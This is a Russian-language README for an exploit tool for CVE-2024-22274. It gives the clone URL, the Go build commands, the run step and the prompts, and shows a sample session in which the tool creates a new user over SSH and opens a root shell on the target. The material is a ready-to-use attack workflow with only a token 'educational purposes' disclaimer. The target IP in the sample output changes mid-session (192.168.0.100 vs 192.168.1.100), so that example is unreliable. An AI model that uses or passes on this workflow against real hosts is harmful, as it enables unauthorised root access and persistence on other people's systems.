Эксплойт CVE-2024-22274

Этот репозиторий содержит эксплойт для CVE-2024-22274. Эксплойт создаёт нового пользователя на удалённой машине через SSH и затем предоставляет рутовую оболочку.

Требования

• Установленный Go (Golang) на вашей машине. Скачать можно здесь.
• Удалённая машина с доступом по SSH.

Компиляция

1. Клонируйте репозиторий:

   root@kitploit:~

   git clone https://github.com/Mustafa1986/CVE-2024-22274-RCE.git
   cd CVE-2024-22274-RCE
   

2. Установите необходимые пакеты:

   root@kitploit:~

   go mod init cve-2024-22274
   go mod tidy
   go get golang.org/x/crypto/ssh
   go get golang.org/x/term
   

3. Скомпилируйте программу Go:

   root@kitploit:~

   go build -o cve-2024-22274-rce main.go
   

Использование

1. Запустите скомпилированную программу:

   root@kitploit:~

   ./cve-2024-22274-rce
   

2. Следуйте подсказкам:

   • Введите адрес хоста целевой машины.
   • Введите порт SSH (по умолчанию 22).
   • Введите имя пользователя SSH целевой машины.
   • Введите пароль SSH целевой машины.
   • Введите новое имя пользователя, которое вы хотите создать.
   • Введите новый пароль для нового пользователя.

3. После создания пользователя вы получите рутовую оболочку на целевой машине. Вы сможете выполнять команды от имени нового пользователя.

Пример

[+] CVE-2024-22274 by Mustafa
[-] Enter host address: 192.168.0.100
[-] Enter port (default 22): 22
[-] Enter SSH username: root
[-] Enter SSH password: ********
[-] Enter new username: newuser
[-] Enter new password: ********
[+] Connected to 192.168.1.100 via SSH
[+] Created user newuser on 192.168.1.100
[+] Connected user newuser via SSH
[+] Root-shell# (type 'exit' to quit): 

Отказ от ответственности Этот код предназначен только для образовательных целей. Используйте его ответственно и только на системах, на которые у вас есть разрешение тестировать.

Лицензия Этот проект лицензирован по лицензии MIT — подробности см. в файле LICENSE.